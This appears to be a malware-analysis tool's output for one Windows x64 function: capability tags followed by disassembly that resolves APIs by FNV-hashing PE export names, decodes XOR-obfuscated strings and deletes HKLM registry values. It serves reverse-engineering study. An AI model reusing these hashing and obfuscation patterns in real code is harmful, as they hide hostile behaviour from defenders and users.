Function at 0x7ff70b5170b0
Capabilities:
Access peb ldr_data
Delete registry value
Encode data using xor
Hash data using fnv
Hash data with crc32
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rcx
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x4650
call fcn.7ff70b54c770
sub rsp, rax
movaps xmmword [rsp + 0x4640], xmm6
movaps xmmword [rsp + 0x4630], xmm7
movaps xmmword [rsp + 0x4620], xmm8
xor edx, edx
mov r8d, 0x400
lea rcx, [rsp + 0x3a10]
call fcn.7ff70b54e850
xor edx, edx
mov esi, edx
mov edi, 0xeb3e491b
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r12d, 0xffffffff
nop dword [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rsp + 0xca0], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x7ff70b517190
mov r8, qword [rsp + 0xca8]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x7ff70b517187
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x7ff70b517160
cmp r9d, esi
jne 0x7ff70b5172e5
mov r11, qword [rax + 0x30]
test r11, r11
je 0x7ff70b5172f2
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov rcx, rdx
shr rcx, 0x20
mov qword [rsp + 0x258], rcx
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x7ff70b5172e5
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x7ff70b5172e5
mov r13d, dword [r15 + 0x20]
nop dword [rax + rax]
add r10d, r12d
lea rcx, [r11 + r10*4]
mov r8d, dword [rcx + r13]
add r8, r11
mov r9d, 0x811c9dc5
movzx ebx, byte [r8]
inc r8
test bl, bl
je 0x7ff70b517227
nop
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x7ff70b517200
cmp r9d, edi
je 0x7ff70b517239
test r10d, r10d
jne 0x7ff70b5171e0
mov rax, qword [rax]
jmp 0x7ff70b517120
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov ebx, dword [rcx + rax*4]
add rbx, r11
cmp rbx, r15
jbe 0x7ff70b5172ed
mov rax, qword [rsp + 0x258]
add rax, r15
cmp rbx, rax
jae 0x7ff70b5172ed
mov esi, 0x811c9dc5
mov edi, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x7ff70b5172a4
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x7ff70b517280
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x7ff70b5172d4
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x7ff70b5172b0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x7ff70b517120
xor r15d, r15d
jmp 0x7ff70b5172f8
xor r15d, r15d
mov ebx, r15d
mov rax, qword [rsp + 0x4690]
mov rax, qword [rax]
mov r8d, 0x200
lea rdx, [rsp + 0x3a10]
mov rcx, qword [rax]
call rbx
movabs r13, 0x38cc65d113fc5965
mov qword [rsp + 0x240], r13
movabs r14, 0x4d822a44244df00e
mov qword [rsp + 0x248], r14
movabs rax, 0x38cc65bd13905901
mov qword [rsp + 0x300], rax
mov qword [rsp + 0x308], r14
movdqa xmm0, xmmword [rsp + 0x240]
pxor xmm0, xmmword [rsp + 0x300]
movdqa xmmword [rsp + 0x300], xmm0
lea rcx, [rsp + 0x3a10]
mov rax, 0xffffffffffffffff
nop
lea rax, [rax + 1]
cmp word [rcx + rax*2], 0
jne 0x7ff70b517380
lea r8, [rsp + rax*2 + 0x3a0a]
lea r9, [rsp + 0xa8]
lea rdx, [rsp + 0x3a10]
lea rcx, [rsp + 0x3530]
call fcn.7ff70b526bf0
nop
lea rcx, [rsp + 0x300]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rcx + r8*2], 0
jne 0x7ff70b5173c0
lea rdx, [rsp + 0x300]
mov rcx, rax
call fcn.7ff70b52a250
mov rdx, rax
lea rcx, [rsp + 0x200]
call fcn.7ff70b500400
nop
lea rcx, [rsp + 0x3530]
call fcn.7ff70b5003a0
lea rdx, [0x7ff70b593b48]
lea rcx, [rsp + 0x1b0]
call fcn.7ff70b4fb220
nop
lea rcx, [rsp + 0x200]
call fcn.7ff70b4fb1a0
mov r8b, 1
mov rdx, rax
lea rcx, [rsp + 0x110]
call fcn.7ff70b50d660
nop
lea rdx, [0x7ff70b593b48]
lea rcx, [rsp + 0x1d0]
call fcn.7ff70b4fb220
nop
lea rdx, [0x7ff70b593ca8]
lea rcx, [rsp + 0x170]
call fcn.7ff70b520bc0
nop
lea rdx, [0x7ff70b593ca8]
lea rcx, [rsp + 0x190]
call fcn.7ff70b520bc0
nop
lea rcx, [rsp + 0x90]
call fcn.7ff70b509a00
nop
mov rax, qword [rsp + 0x98]
cmp qword [rsp + 0x90], rax
jne 0x7ff70b5176a6
movabs rcx, 0x4cec0a9f33a1783e
movabs rdx, 0x39a20630412a826f
movabs rbx, 0xdc748ff2843db375
movabs rdi, 0x73404666094bb896
movabs r8, 0xbac8e7bda7f04112
movabs r9, 0x4ce3da44ccc25669
movabs r10, 0x2a33e863e0c98c13
movabs r11, 0x2061486ae4b01466
mov qword [rsp + 0x310], r13
mov qword [rsp + 0x318], r14
movabs rax, 0xbd00fc97f61dca07
mov qword [rsp + 0x320], rax
movabs r13, 0xf998c7dac9993560
mov qword [rsp + 0x328], r13
movabs rax, 0x3890b42decb03949
mov qword [rsp + 0x330], rax
movabs rax, 0x4b569c30c0a5e072
mov qword [rsp + 0x338], rax
movabs rax, 0x10517853c7eb340b
mov qword [rsp + 0x340], rax
movabs rax, 0x734046660965e5a4
mov qword [rsp + 0x348], rax
mov qword [rsp + 0x7c0], rcx
mov qword [rsp + 0x7c8], rdx
mov qword [rsp + 0x7d0], rbx
mov qword [rsp + 0x7d8], r8
mov qword [rsp + 0x7e0], r9
mov qword [rsp + 0x7e8], r10
mov qword [rsp + 0x7f0], r11
mov qword [rsp + 0x7f8], rdi
movdqa xmm0, xmmword [rsp + 0x310]
pxor xmm0, xmmword [rsp + 0x7c0]
movdqa xmmword [rsp + 0x7c0], xmm0
movdqa xmm1, xmmword [rsp + 0x7d0]
pxor xmm1, xmmword [rsp + 0x320]
movdqa xmmword [rsp + 0x7d0], xmm1
movdqa xmm0, xmmword [rsp + 0x7e0]
pxor xmm0, xmmword [rsp + 0x330]
movdqa xmmword [rsp + 0x7e0], xmm0
movdqa xmm1, xmmword [rsp + 0x7f0]
pxor xmm1, xmmword [rsp + 0x340]
movdqa xmmword [rsp + 0x7f0], xmm1
lea rdx, [rsp + 0x7c0]
lea rcx, [rsp + 0x36a0]
call fcn.7ff70b4fb220
mov rdx, rax
mov rcx, qword [0x7ff70b6921c8]
call fcn.7ff70b507060
mov edx, 0x2710
mov rcx, qword [0x7ff70b6921c8]
call fcn.7ff70b5071c0
nop
lea rcx, [rsp + 0x90]
call fcn.7ff70b500330
nop
lea rcx, [rsp + 0x190]
call fcn.7ff70b5003a0
nop
lea rcx, [rsp + 0x170]
call fcn.7ff70b5003a0
nop
lea rcx, [rsp + 0x1d0]
call fcn.7ff70b4fb1c0
nop
lea rcx, [rsp + 0x110]
call fcn.7ff70b4d1e50
nop
lea rcx, [rsp + 0x1b0]
call fcn.7ff70b4fb1c0
nop
lea rcx, [rsp + 0x200]
call fcn.7ff70b5003a0
jmp 0x7ff70b51e083
mov rcx, qword [0x7ff70b6921c8]
call fcn.7ff70b506fb0
mov rdi, qword [rsp + 0x90]
mov rsi, qword [rsp + 0x98]
cmp rdi, rsi
je 0x7ff70b51784f
nop dword [rax + rax]
mov rcx, rdi
call fcn.7ff70b4fb1a0
mov rcx, rax
call fcn.7ff70b548170
test al, al
jne 0x7ff70b5176fc
mov rcx, rdi
call fcn.7ff70b4fb1a0
mov rcx, rax
call fcn.7ff70b548b80
test al, al
je 0x7ff70b517842
lea rdx, [rsp + 0x2160]
mov rcx, rdi
call fcn.7ff70b520b80
mov rbx, qword [rax]
lea rdx, [rsp + 0x2260]
mov rcx, rdi
call fcn.7ff70b520ba0
lea r9, [rsp + 0xa9]
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rsp + 0x36d0]
call fcn.7ff70b526c30
nop
mov rcx, rax
call fcn.7ff70b4dab30
mov rdx, rax
lea rcx, [rsp + 0xd60]
call fcn.7ff70b5473c0
nop
lea rcx, [rsp + 0x36d0]
call fcn.7ff70b4fb1c0
mov rax, qword [rsp + 0xd68]
cmp qword [rsp + 0xd60], rax
je 0x7ff70b517835
lea rdx, [rsp + 0xd60]
lea rcx, [rsp + 0x2a60]
call fcn.7ff70b520500
mov rdx, rax
lea rcx, [rsp + 0x2b80]
call fcn.7ff70b5095c0
cmp byte [rsp + 0x2b80], 0
jne 0x7ff70b51780d
mov eax, 7
xor ecx, ecx
cpuid
mov dword [rsp + 0x240], eax
mov dword [rsp + 0x244], ebx
mov dword [rsp + 0x24c], edx
shr ecx, 7
test cl, 1
je 0x7ff70b5177ed
cmp byte [rsp + 0x2b81], 0
je 0x7ff70b5177ed
lea rax, [rsp + 0x190]
cmp rax, rdi
je 0x7ff70b51780d
lea rcx, [rsp + 0x190]
jmp 0x7ff70b517802
lea rax, [rsp + 0x170]
cmp rax, rdi
je 0x7ff70b51780d
lea rcx, [rsp + 0x170]
xor r8d, r8d
mov rdx, rdi
call fcn.7ff70b500430
lea rcx, [rsp + 0x2bc0]
call fcn.7ff70b51f9c0
lea rcx, [rsp + 0x2ba8]
call fcn.7ff70b51fa50
lea rcx, [rsp + 0x2b90]
call fcn.7ff70b4d1e50
nop
lea rcx, [rsp + 0xd60]
call fcn.7ff70b4d1e50
add rdi, 0x20
cmp rdi, rsi
jne 0x7ff70b5176d0
mov rcx, qword [0x7ff70b6921c8]
call fcn.7ff70b506fb0
cmp qword [rsp + 0x180], 0
jne 0x7ff70b518879
cmp qword [rsp + 0x1a0], 0
je 0x7ff70b518879
movabs rcx, 0x3898659713b35936
mov qword [rsp + 0x26d0], rcx
movabs rdx, 0x4dc72a16240cf059
mov qword [rsp + 0x26d8], rdx
movabs rbx, 0xbd63fcfef650ca5b
mov qword [rsp + 0x26e0], rbx
movabs r8, 0xf9f7c7a9c9f63512
mov qword [rsp + 0x26e8], r8
movabs r9, 0x38c7b471ecc4392f
mov qword [rsp + 0x26f0], r9
movabs r10, 0x4b399c54c0cbe01b
mov qword [rsp + 0x26f8], r10
movabs r11, 0x101f7873c798347c
mov qword [rsp + 0x2700], r11
movabs rax, 0x733546250939e5f0
mov qword [rsp + 0x2708], rax
movabs rax, 0x6088b74ce8dd7bbf
mov qword [rsp + 0x2710], rax
movabs rax, 0xb5c1b59966f24d82
mov qword [rsp + 0x2718], rax
movabs rax, 0x4889e6e09b04f4bc
mov qword [rsp + 0x2720], rax
movabs rax, 0xdf9c22bf5c5176d4
mov qword [rsp + 0x2728], rax
movabs rax, 0xa26781455c0918d6
mov qword [rsp + 0x2730], rax
movabs rax, 0x811a37ed476db973
mov qword [rsp + 0x2738], rax
movabs rax, 0x40bcccee5fded8d6
mov qword [rsp + 0x2740], rax
movabs rax, 0xa4bf6fd7dcecd3b9
mov qword [rsp + 0x2748], rax
movabs rax, 0x2b91494ef2d9319b
mov qword [rsp + 0x2750], rax
movabs rax, 0xc6a88e1b126b5bea
mov qword [rsp + 0x2758], rax
movabs rax, 0x6f47d9c71d56f0e4
mov qword [rsp + 0x2760], rax
movabs rax, 0xb1704b8a8b148970
mov qword [rsp + 0x2768], rax
mov qword [rsp + 0x1490], r13
mov qword [rsp + 0x2770], r13
mov qword [rsp + 0x1498], r14
mov qword [rsp + 0x2778], r14
movabs r14, 0xbd00fc97f61dca07
mov qword [rsp + 0x14a0], r14
mov qword [rsp + 0x2780], r14
movabs r13, 0xf998c7dac9993560
mov qword [rsp + 0x14a8], r13
mov qword [rsp + 0x2788], r13
movabs rax, 0x3890b42decb03949
mov qword [rsp + 0x14b0], rax
mov qword [rsp + 0x2790], rax
movabs rdi, 0x4b569c30c0a5e072
mov qword [rsp + 0x14b8], rdi
mov qword [rsp + 0x2798], rdi
movabs rax, 0x10517853c7eb340b
mov qword [rsp + 0x14c0], rax
mov qword [rsp + 0x27a0], rax
movabs rsi, 0x734046660965e5a4
mov qword [rsp + 0x14c8], rsi
mov qword [rsp + 0x27a8], rsi
movabs rax, 0x60e6b729e8af7bcd
mov qword [rsp + 0x14d0], rax
mov qword [rsp + 0x27b0], rax
movabs rax, 0xb5b3b5fc66a44df6
mov qword [rsp + 0x14d8], rax
mov qword [rsp + 0x27b8], rax
movabs rax, 0x48e7e68f9b6df4cf
mov qword [rsp + 0x14e0], rax
mov qword [rsp + 0x27c0], rax
movabs rax, 0xdffd22d25c187688
mov qword [rsp + 0x14e8], rax
mov qword [rsp + 0x27c8], rax
movabs rax, 0xa22181655c6c18b1
mov qword [rsp + 0x14f0], rax
mov qword [rsp + 0x27d0], rax
movabs rax, 0x813a37884701b91a
mov qword [rsp + 0x14f8], rax
mov qword [rsp + 0x27d8], rax
movabs rax, 0x40dfcc8b5fa6d893
mov qword [rsp + 0x1500], rax
mov qword [rsp + 0x27e0], rax
movabs rax, 0xa4d06fbedc98d3cc
mov qword [rsp + 0x1508], rax
mov qword [rsp + 0x27e8], rax
movabs rax, 0x2be14901f2f931f5
mov qword [rsp + 0x1510], rax
mov qword [rsp + 0x27f0], rax
movabs rax, 0xc6c68e7412025b9e
mov qword [rsp + 0x1518], rax
mov qword [rsp + 0x27f8], rax
movabs rax, 0x6f47d9c71d0af097
mov qword [rsp + 0x1520], rax
mov qword [rsp + 0x2800], rax
movabs rax, 0xb1704b8a8b148970
mov qword [rsp + 0x1528], rax
mov qword [rsp + 0x2808], rax
mov qword [rsp + 0xb70], rcx
mov qword [rsp + 0x2810], rcx
mov qword [rsp + 0xb78], rdx
mov qword [rsp + 0x2818], rdx
mov qword [rsp + 0xb80], rbx
mov qword [rsp + 0x2820], rbx
mov qword [rsp + 0xb88], r8
mov qword [rsp + 0x2828], r8
mov qword [rsp + 0xb90], r9
mov qword [rsp + 0x2830], r9
mov qword [rsp + 0xb98], r10
mov qword [rsp + 0x2838], r10
mov qword [rsp + 0xba0], r11
mov qword [rsp + 0x2840], r11
movabs rax, 0x733546250939e5f0
mov qword [rsp + 0xba8], rax
mov qword [rsp + 0x2848], rax
movabs rax, 0x6088b74ce8dd7bbf
mov qword [rsp + 0xbb0], rax
mov qword [rsp + 0x2850], rax
movabs rax, 0xb5c1b59966f24d82
mov qword [rsp + 0xbb8], rax
mov qword [rsp + 0x2858], rax
movabs rax, 0x4889e6e09b04f4bc
mov qword [rsp + 0xbc0], rax
mov qword [rsp + 0x2860], rax
movabs rax, 0xdf9c22bf5c5176d4
mov qword [rsp + 0xbc8], rax
mov qword [rsp + 0x2868], rax
movabs rax, 0xa26781455c0918d6
mov qword [rsp + 0xbd0], rax
mov qword [rsp + 0x2870], rax
movabs rax, 0x811a37ed476db973
mov qword [rsp + 0xbd8], rax
mov qword [rsp + 0x2878], rax
movabs rax, 0x40bcccee5fded8d6
mov qword [rsp + 0xbe0], rax
mov qword [rsp + 0x2880], rax
movabs rax, 0xa4bf6fd7dcecd3b9
mov qword [rsp + 0xbe8], rax
mov qword [rsp + 0x2888], rax
movabs rax, 0x2b91494ef2d9319b
mov qword [rsp + 0xbf0], rax
mov qword [rsp + 0x2890], rax
movabs rax, 0xc6a88e1b126b5bea
mov qword [rsp + 0xbf8], rax
mov qword [rsp + 0x2898], rax
movabs rax, 0x6f47d9c71d56f0e4
mov qword [rsp + 0xc00], rax
mov qword [rsp + 0x28a0], rax
movabs rax, 0xb1704b8a8b148970
mov qword [rsp + 0xc08], rax
mov qword [rsp + 0x28a8], rax
movdqa xmm0, xmmword [rsp + 0x1490]
pxor xmm0, xmmword [rsp + 0xb70]
movdqa xmmword [rsp + 0xb70], xmm0
movdqa xmm1, xmmword [rsp + 0xb80]
pxor xmm1, xmmword [rsp + 0x14a0]
movdqa xmmword [rsp + 0xb80], xmm1
movdqa xmm0, xmmword [rsp + 0xb90]
pxor xmm0, xmmword [rsp + 0x14b0]
movdqa xmmword [rsp + 0xb90], xmm0
movdqa xmm1, xmmword [rsp + 0xba0]
pxor xmm1, xmmword [rsp + 0x14c0]
movdqa xmmword [rsp + 0xba0], xmm1
movdqa xmm0, xmmword [rsp + 0xbb0]
pxor xmm0, xmmword [rsp + 0x14d0]
movdqa xmmword [rsp + 0xbb0], xmm0
movdqa xmm1, xmmword [rsp + 0xbc0]
pxor xmm1, xmmword [rsp + 0x14e0]
movdqa xmmword [rsp + 0xbc0], xmm1
movdqa xmm0, xmmword [rsp + 0xbd0]
pxor xmm0, xmmword [rsp + 0x14f0]
movdqa xmmword [rsp + 0xbd0], xmm0
movdqa xmm1, xmmword [rsp + 0xbe0]
pxor xmm1, xmmword [rsp + 0x1500]
movdqa xmmword [rsp + 0xbe0], xmm1
movdqa xmm0, xmmword [rsp + 0xbf0]
pxor xmm0, xmmword [rsp + 0x1510]
movdqa xmmword [rsp + 0xbf0], xmm0
movdqa xmm1, xmmword [rsp + 0xc00]
pxor xmm1, xmmword [rsp + 0x1520]
movdqa xmmword [rsp + 0xc00], xmm1
lea rdx, [rsp + 0xb70]
lea rcx, [rsp + 0x2970]
call fcn.7ff70b520bc0
nop
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
mov r9d, 0x2011f
lea r8, [rsp + 0x2970]
mov rdx, 0xffffffff80000002
lea rcx, [rsp + 0x40]
call fcn.7ff70b507fc0
nop
lea rcx, [rsp + 0x2970]
call fcn.7ff70b5003a0
cmp qword [rsp + 0x40], 0
jne 0x7ff70b517f96
movabs rax, 0x38cc65d113fc5965
mov qword [rsp + 0x80], rax
movabs r11, 0x4d822a44244df00e
mov qword [rsp + 0x88], r11
movabs rax, 0x38cc65d122cc6955
mov qword [rsp + 0x390], rax
mov qword [rsp + 0x398], r11
movdqa xmm0, xmmword [rsp + 0x80]
pxor xmm0, xmmword [rsp + 0x390]
movdqa xmmword [rsp + 0x390], xmm0
lea rdx, [rsp + 0x390]
lea rcx, [rsp + 0x2be0]
call fcn.7ff70b4fb220
mov rdx, rax
lea rcx, [rsp + 0x4698]
call fcn.7ff70b51e0b0
nop
lea rcx, [rsp + 0x40]
call fcn.7ff70b507f70
jmp 0x7ff70b517640
mov rbx, qword [rsp + 0x1a0]
lea rcx, [rsp + 0x190]
call fcn.7ff70b4fb1a0
mov r9d, 0x5c
mov r8, 0xffffffffffffffff
mov rdx, rbx
mov rcx, rax
call fcn.7ff70b5271f0
lea r8, [rax + 1]
lea rax, [rsp + 0xaa]
mov qword [rsp + 0x20], rax
mov r9, 0xffffffffffffffff
lea rdx, [rsp + 0x190]
lea rcx, [rsp + 0xd00]
call fcn.7ff70b5233d0
nop
cmp qword [rsp + 0xd10], 0
jne 0x7ff70b51809c
movabs rax, 0x38cc65d113fc5965
mov qword [rsp + 0x80], rax
movabs r11, 0x4d822a44244df00e
mov qword [rsp + 0x88], r11
movabs rax, 0x38cc65d121cc6955
mov qword [rsp + 0x480], rax
mov qword [rsp + 0x488], r11
movdqa xmm0, xmmword [rsp + 0x80]
pxor xmm0, xmmword [rsp + 0x480]
movdqa xmmword [rsp + 0x480], xmm0
lea rdx, [rsp + 0x480]
lea rcx, [rsp + 0x2c00]
call fcn.7ff70b4fb220
mov rdx, rax
lea rcx, [rsp + 0x4698]
call fcn.7ff70b51e0b0
nop
lea rcx, [rsp + 0xd00]
call fcn.7ff70b5003a0
nop
lea rcx, [rsp + 0x40]
call fcn.7ff70b507f70
jmp 0x7ff70b517640
mov dword [rsp + 0x20], 0x2011f
lea r9, [rsp + 0xd00]
mov r8, qword [rsp + 0x40]
lea rdx, [rsp + 0xd28]
lea rcx, [rsp + 0x40]
call fcn.7ff70b508200
cmp dword [rax], 0
je 0x7ff70b51817a
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], 0x2011f
lea r9, [rsp + 0xd00]
mov r8, qword [rsp + 0x40]
lea rdx, [rsp + 0x250]
lea rcx, [rsp + 0x40]
call fcn.7ff70b508130
cmp dword [rsp + 0x250], 0
je 0x7ff70b51817a
movabs rax, 0x38cc65d113fc5965
mov qword [rsp + 0x80], rax
movabs r11, 0x4d822a44244df00e
mov qword [rsp + 0x88], r11
movabs rax, 0x38cc65d120cc6955
mov qword [rsp + 0x450], rax
mov qword [rsp + 0x458], r11
movdqa xmm0, xmmword [rsp + 0x80]
pxor xmm0, xmmword [rsp + 0x450]
movdqa xmmword [rsp + 0x450], xmm0
lea rdx, [rsp + 0x450]
lea rcx, [rsp + 0x2c20]
jmp 0x7ff70b518069
lea rdx, [rsp + 0x19f0]
lea rcx, [rsp + 0x40]
call fcn.7ff70b508c90
nop
cmp byte [rsp + 0x1a08], 1
je 0x7ff70b51822c
movabs rax, 0x38cc65d113fc5965
mov qword [rsp + 0x80], rax
movabs r11, 0x4d822a44244df00e
mov qword [rsp + 0x88], r11
movabs rax, 0x38cc65d127cc6955
mov qword [rsp + 0x3a0], rax
mov qword [rsp + 0x3a8], r11
movdqa xmm0, xmmword [rsp + 0x80]
pxor xmm0, xmmword [rsp + 0x3a0]
movdqa xmmword [rsp + 0x3a0], xmm0
lea rdx, [rsp + 0x3a0]
lea rcx, [rsp + 0x2c40]
call fcn.7ff70b4fb220
mov rdx, rax
lea rcx, [rsp + 0x4698]
call fcn.7ff70b51e0b0
nop
lea rcx, [rsp + 0x19f0]
call fcn.7ff70b508fe0
jmp 0x7ff70b51807f
lea rcx, [rsp + 0x19f0]
call fcn.7ff70b525230
mov rcx, qword [rax + 8]
mov rbx, qword [rax]
cmp rbx, rcx
je 0x7ff70b51826d
mov r12, rcx
mov rcx, rbx
call fcn.7ff70b4fb1a0
mov rdx, rax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.advapi32.dll_RegDeleteValueW]
add rbx, 0x28
cmp rbx, r12
jne 0x7ff70b518248
mov r12d, 0xffffffff
mov qword [rsp + 0x68], 0
mov dword [rsp + 0x70], 0
mov qword [rsp + 0x74], 0x20000000
mov dword [rsp + 0x7c], 0
lea rax, [rsp + 0x68]
mov qword [rsp + 0x80], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x88], rax
lea r8, [rsp + 0xab]
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x23d0]
call fcn.7ff70b5205c0
nop
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x440], rax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x448], rax
lea r8, [rsp + 0xac]
lea rdx, [rsp + 0x440]
lea rcx, [rsp + 0x2290]
call fcn.7ff70b5205c0
nop
movabs rax, 0x38cc65d113fc5965
mov qword [rsp + 0x490], rax
movabs rbx, 0x4d822a44244df00e
mov qword [rsp + 0x498], rbx
movabs rax, 0x38cc65ff13d2594b
mov qword [rsp + 0x3b0], rax
mov qword [rsp + 0x3b8], rbx
movdqa xmm0, xmmword [rsp + 0x490]
pxor xmm0, xmmword [rsp + 0x3b0]
movdqa xmmword [rsp + 0x3b0], xmm0
lea rdx, [rsp + 0x3b0]
lea rcx, [rsp + 0x29b0]
call fcn.7ff70b520bc0
nop
movabs rax, 0x38cc65d113fc5965
mov qword [rsp + 0x10a0], rax
mov qword [rsp + 0x10a8], rbx
mov qword [rsp + 0x10b0], r14
mov qword [rsp + 0x10b8], r13
movabs rax, 0x3881659713bd5920
mov qword [rsp + 0x540], rax
movabs rax, 0x4dee2a312429f061
mov qword [rsp + 0x548], rax
movabs rax, 0xbd00fc97f66eca62
mov qword [rsp + 0x550], rax
mov qword [rsp + 0x558], r13
movdqa xmm0, xmmword [rsp + 0x10a0]
pxor xmm0, xmmword [rsp + 0x540]
movdqa xmmword [rsp + 0x540], xmm0
movdqa xmm1, xmmword [rsp + 0x550]
pxor xmm1, xmmword [rsp + 0x10b0]
movdqa xmmword [rsp + 0x550], xmm1
lea rdx, [rsp + 0x540]
lea rcx, [rsp + 0x2990]
call fcn.7ff70b520bc0
lea r9, [rsp + 0x29b0]
lea r8, [rsp + 0x2990]
lea rdx, [rsp + 0xcd8]
lea rcx, [rsp + 0x40]
call fcn.7ff70b5082b0
lea rcx, [rsp + 0x2990]
call fcn.7ff70b5003a0
nop
lea rcx, [rsp + 0x29b0]
call fcn.7ff70b5003a0
movabs r8, 0x38a565a513955928
mov qword [rsp + 0x2490], r8
movabs r9, 0x4deb2a30242cf069
mov qword [rsp + 0x2498], r9
movabs rax, 0xbd70fcd8f673ca68
mov qword [rsp + 0x24a0], rax
movabs rcx, 0xf9f6c7b5c9f03514
mov qword [rsp + 0x24a8], rcx
movabs rdx, 0x3890b42decb0393a
mov qword [rsp + 0x24b0], rdx
mov qword [rsp + 0x24b8], rdi
movabs r10, 0x38cc65d113fc5965
mov qword [rsp + 0x1170], r10
mov qword [rsp + 0x24c0], r10
mov qword [rsp + 0x1178], rbx
mov qword [rsp + 0x24c8], rbx
mov qword [rsp + 0x1180], r14
mov qword [rsp + 0x24d0], r14
mov qword [rsp + 0x1188], r13
mov qword [rsp + 0x24d8], r13
movabs rbx, 0x3890b42decb03949
mov qword [rsp + 0x1190], rbx
mov qword [rsp + 0x24e0], rbx
mov qword [rsp + 0x1198], rdi
mov qword [rsp + 0x24e8], rdi
mov qword [rsp + 0x660], r8
mov qword [rsp + 0x2670], r8
mov qword [rsp + 0x668], r9
mov qword [rsp + 0x2678], r9
mov qword [rsp + 0x670], rax
mov qword [rsp + 0x2680], rax
mov qword [rsp + 0x678], rcx
mov qword [rsp + 0x2688], rcx
mov qword [rsp + 0x680], rdx
mov qword [rsp + 0x2690], rdx
mov qword [rsp + 0x688], rdi
mov qword [rsp + 0x2698], rdi
movdqa xmm0, xmmword [rsp + 0x1170]
pxor xmm0, xmmword [rsp + 0x660]
movdqa xmmword [rsp + 0x660], xmm0
movdqa xmm1, xmmword [rsp + 0x670]
pxor xmm1, xmmword [rsp + 0x1180]
movdqa xmmword [rsp + 0x670], xmm1
movdqa xmm0, xmmword [rsp + 0x680]
pxor xmm0, xmmword [rsp + 0x1190]
movdqa xmmword [rsp + 0x680], xmm0
lea rdx, [rsp + 0x660]
lea rcx, [rsp + 0x29d0]
call fcn.7ff70b520bc0
lea r9, [rsp + 0x23d0]
lea r8, [rsp + 0x29d0]
lea rdx, [rsp + 0xd24]
lea rcx, [rsp + 0x40]
call fcn.7ff70b508310
lea rcx, [rsp + 0x29d0]
call fcn.7ff70b5003a0
movabs r9, 0x38a565a513955928
mov qword [rsp + 0x26a0], r9
movabs r10, 0x4deb2a30242cf069
mov qword [rsp + 0x26a8], r10
movabs rax, 0xbd75fcd6f673ca68
mov qword [rsp + 0x26b0], rax
movabs rcx, 0xf9d7c7aec9f03504
mov qword [rsp + 0x26b8], rcx
movabs rdx, 0x38ffb444ecc43939
mov qword [rsp + 0x26c0], rdx
movabs r8, 0x4b569c30c0d6e01c
mov qword [rsp + 0x26c8], r8
movabs r11, 0x38cc65d113fc5965
mov qword [rsp + 0x310], r11
mov qword [rsp + 0x1f00], r11
movabs r11, 0x4d822a44244df00e
mov qword [rsp + 0x318], r11
mov qword [rsp + 0x1f08], r11
mov qword [rsp + 0x320], r14
mov qword [rsp + 0x1f10], r14
mov qword [rsp + 0x328], r13
mov qword [rsp + 0x1f18], r13
mov qword [rsp + 0x330], rbx
mov qword [rsp + 0x1f20], rbx
mov qword [rsp + 0x338], rdi
mov qword [rsp + 0x1f28], rdi
mov qword [rsp + 0x690], r9
mov qword [rsp + 0x1f30], r9
mov qword [rsp + 0x698], r10
mov qword [rsp + 0x1f38], r10
mov qword [rsp + 0x6a0], rax
mov qword [rsp + 0x1f40], rax
mov qword [rsp + 0x6a8], rcx
mov qword [rsp + 0x1f48], rcx
mov qword [rsp + 0x6b0], rdx
mov qword [rsp + 0x1f50], rdx
mov qword [rsp + 0x6b8], r8
mov qword [rsp + 0x1f58], r8
movdqa xmm0, xmmword [rsp + 0x310]
pxor xmm0, xmmword [rsp + 0x690]
movdqa xmmword [rsp + 0x690], xmm0
movdqa xmm1, xmmword [rsp + 0x6a0]
pxor xmm1, xmmword [rsp + 0x320]
movdqa xmmword [rsp + 0x6a0], xmm1
movdqa xmm0, xmmword [rsp + 0x6b0]
pxor xmm0, xmmword [rsp + 0x330]
movdqa xmmword [rsp + 0x6b0], xmm0
lea rdx, [rsp + 0x690]
lea rcx, [rsp + 0x29f0]
call fcn.7ff70b520bc0
